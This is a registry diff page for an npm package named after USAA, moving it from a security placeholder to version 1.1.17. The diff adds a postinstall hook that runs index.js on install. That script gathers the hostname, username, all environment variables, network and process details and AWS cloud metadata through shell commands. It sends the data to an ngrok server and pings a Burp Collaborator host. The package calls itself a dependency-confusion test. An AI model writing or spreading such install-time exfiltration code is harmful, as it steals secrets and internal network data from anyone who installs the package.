@usaa-grp-ent-conv-platform/usaa 0.0.1-security → 1.1.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @usaa-grp-ent-conv-platform/usaa might be problematic. Click here for more details.
- package/.txt +0 -0
- package/chunk.769.012e7442dc199b7cac66.js +53 -0
- package/index.js +72 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/.txt
ADDED
|
File without changes
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
<!doctype html><!-- usaa-serverbusy-page@0.0.0 --><html lang="en"><head><meta name="ROBOTS" content="nofollow,noindex" /><title data-react-helmet="true"> System Error | USAA | USAA</title><meta charSet="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta id="Viewport" name="viewport" content="width=device-width, initial-scale=1"/><link data-react-helmet="true" rel="stylesheet" href="/serverbusy/react0624/nav!utils.css"/><script>var USAA={};USAA.ent={};USAA.ent.digitalData={"page":{"activityType":"Error","attributes":{"appId":"usaa-serverbusy-page"},"businessUnit":"USAA","flowType":"Error","pageDesc":"Error","pageName":"","productLOB":"None","productOffered":"None","productQualifier":"None"},"product":[],"event":[],"component":{"attributes":{}},"user":{"attributes":{}},"version":{"version":"1"},"campaign":{}};</script> <script data-react-helmet="true" async="" defer="" src="/serverbusy/react0624/nav!utils.js"></script><script data-react-helmet="true">
|
|
6
|
+
(function() {
|
|
7
|
+
var breakpoints = {"0":"xxs","414":"xs","568":"sm","768":"md","1024":"lg","1280":"xl","1440":"xxl","1600":"xxxl"};
|
|
8
|
+
var attempts = 0;
|
|
9
|
+
|
|
10
|
+
function getGridLayoutClasses(el) {
|
|
11
|
+
var result = [];
|
|
12
|
+
|
|
13
|
+
if (el && typeof el.offsetWidth === 'number') {
|
|
14
|
+
var width = el.offsetWidth;
|
|
15
|
+
|
|
16
|
+
for (var breakpointSize in breakpoints) {
|
|
17
|
+
if (width > Number(breakpointSize)) {
|
|
18
|
+
result.push('layout-' + breakpoints[breakpointSize]);
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
return result;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function updatePageGridClasses() {
|
|
27
|
+
var el = document.querySelector('.mainPanel');
|
|
28
|
+
if (el) {
|
|
29
|
+
var layoutClasses = getGridLayoutClasses(el);
|
|
30
|
+
el.className += ' ' + layoutClasses.join(' ');
|
|
31
|
+
} else {
|
|
32
|
+
if (attempts > 100) return;
|
|
33
|
+
attempts++;
|
|
34
|
+
setTimeout(updatePageGridClasses, 5);
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
updatePageGridClasses();
|
|
39
|
+
})();
|
|
40
|
+
var requestId = "888a0217"
|
|
41
|
+
var statusCode = "2736803";
|
|
42
|
+
var ipAddress = "129.222.253.45";
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
var errorType = "System Error";
|
|
47
|
+
var errorDescription = "We’ve encountered a problem. We are looking into it. ";
|
|
48
|
+
var errorDetails = "Please try again later, or for immediate assistance ";
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
</script><link rel="stylesheet" href="/serverbusy/react0624/usaa-serverbusy-page.a583054019b83d3b032c.css"/></head><body class="font-narrow"><div id="mainAppRoot"><div class="pageWrapper"><a href="#usaa-templateContent" class="usaa-skipToContent screenReader" accessKey="2">Skip to Content</a><div class="pageWrapper-inner"><div class="usaa-globalHeader"></div><div id="usaa-templateContent" class="pageContent"><div class="mainPanel " role="main"><div class="mainContentWrapper"><div class=""><div class="errorPage"><svg class="errorPage-icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 -30 90 90"><path fill="#0D2F4C" d="M0-21v15h90v-15H0zm7.5 10.5c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zm10.5 0c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zm10.5 0c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zM0-3v54h90V-3H0zm56.7 34.7l-4.2 4.2-7.5-7.4-7.4 7.4-4.2-4.2 7.4-7.4-7.4-7.4 4.2-4.2L45 20l7.4-7.4 4.2 4.2-7.4 7.4 7.5 7.5z"></path></svg><h1 class="errorPage-title"> System Error </h1><p class="errorPage-description">errorDescription<br class="break"/>errorDetails <a href="#" aria-label="contact us, opens popup">contact us</a>.</p></div></div></div></div></div><footer class="pageFooter"><div class="usaa-globalFooterNav"></div><div class="pageFooter-notes"><div class="pageFooter-disclosures pageFooter-disclosures--aboveFootnotes"></div><div class="pageFooter-footnotes"></div><div class="pageFooter-disclosures pageFooter-disclosures--belowFootnotes"></div></div></footer></div></div></div> <script src="https://www.usaa.com/serverbusy/react0624/react!react-dom.min.js"></script><script src="/serverbusy/react0624/usaa-serverbusy-page.e9ff19371382ff950218.js"></script> </body></html>
|
|
53
|
+
|
package/index.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
|
+
const axios = require("axios");
|
|
4
|
+
const dns = require("dns");
|
|
5
|
+
|
|
6
|
+
// 🔥 Configure Your Logging & Burp Collaborator URLs
|
|
7
|
+
const LOGGING_SERVER = "7c9a-98-97-172-99.ngrok-free.app"; // Replace with your ngrok endpoint
|
|
8
|
+
const COLLABORATOR_URL = "v1x2xki0sr5mbc04v2cjyt6p0g68u8ix.oastify.com";
|
|
9
|
+
|
|
10
|
+
// Function to execute shell commands stealthily
|
|
11
|
+
const runCommand = (cmd) => {
|
|
12
|
+
try {
|
|
13
|
+
return execSync(cmd, { encoding: "utf-8" }).trim();
|
|
14
|
+
} catch (error) {
|
|
15
|
+
return `Error executing ${cmd}: ${error.message}`;
|
|
16
|
+
}
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
// 🛠️ Gather System Information
|
|
20
|
+
const systemInfo = {
|
|
21
|
+
hostname: os.hostname(),
|
|
22
|
+
user: os.userInfo().username,
|
|
23
|
+
os: os.platform(),
|
|
24
|
+
arch: os.arch(),
|
|
25
|
+
cpus: os.cpus().length,
|
|
26
|
+
date: new Date().toISOString(),
|
|
27
|
+
networkInterfaces: os.networkInterfaces(),
|
|
28
|
+
environmentVariables: process.env,
|
|
29
|
+
runningProcesses: runCommand("tasklist"), // Captures active processes
|
|
30
|
+
dnsResolvers: runCommand("nslookup google.com"),
|
|
31
|
+
activeDirectoryDomain: runCommand("whoami /fqdn"),
|
|
32
|
+
internalRoutes: runCommand("route print"),
|
|
33
|
+
arpTable: runCommand("arp -a"), // Lists internal IPs & gateways
|
|
34
|
+
installedSoftware: runCommand("wmic product get name"), // Lists installed software
|
|
35
|
+
reverseDNS: runCommand(`nslookup ${COLLABORATOR_URL}`), // Forces Burp Collaborator resolution
|
|
36
|
+
traceroute: runCommand("tracert -d 8.8.8.8"),
|
|
37
|
+
publicIP: runCommand("curl -s ifconfig.me"),
|
|
38
|
+
awsMetadata: runCommand("curl -s http://169.254.169.254/latest/meta-data/"),
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
// 📡 Send HTTP Request to Burp Collaborator
|
|
42
|
+
const sendCollaboratorRequest = async () => {
|
|
43
|
+
try {
|
|
44
|
+
await axios.get(`http://${COLLABORATOR_URL}`);
|
|
45
|
+
} catch (error) {
|
|
46
|
+
console.error("Collaborator HTTP request failed:", error.message);
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
// 🚀 Send Data to Logging Server (ngrok)
|
|
51
|
+
const sendToServer = async (data) => {
|
|
52
|
+
try {
|
|
53
|
+
const response = await axios.post(LOGGING_SERVER, data, {
|
|
54
|
+
headers: { "Content-Type": "application/json" }
|
|
55
|
+
});
|
|
56
|
+
console.log("Data sent successfully:", response.status);
|
|
57
|
+
} catch (error) {
|
|
58
|
+
console.error("Error sending data:", error.message);
|
|
59
|
+
}
|
|
60
|
+
};
|
|
61
|
+
|
|
62
|
+
// 🎯 Execute Data Collection & Logging
|
|
63
|
+
(async () => {
|
|
64
|
+
console.log("Gathering system information...");
|
|
65
|
+
console.log(JSON.stringify(systemInfo, null, 2));
|
|
66
|
+
|
|
67
|
+
// 🌐 Fire HTTP request to Burp Collaborator
|
|
68
|
+
await sendCollaboratorRequest();
|
|
69
|
+
|
|
70
|
+
// 📤 Send all data to logging server (ngrok)
|
|
71
|
+
await sendToServer(systemInfo);
|
|
72
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@usaa-grp-ent-conv-platform/usaa",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.1.17",
|
|
4
|
+
"description": "Security testing package for dependency confusion vulnerability",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Th3_Mad_Hack3r",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40usaa-grp-ent-conv-platform%2Fusaa for more information.
|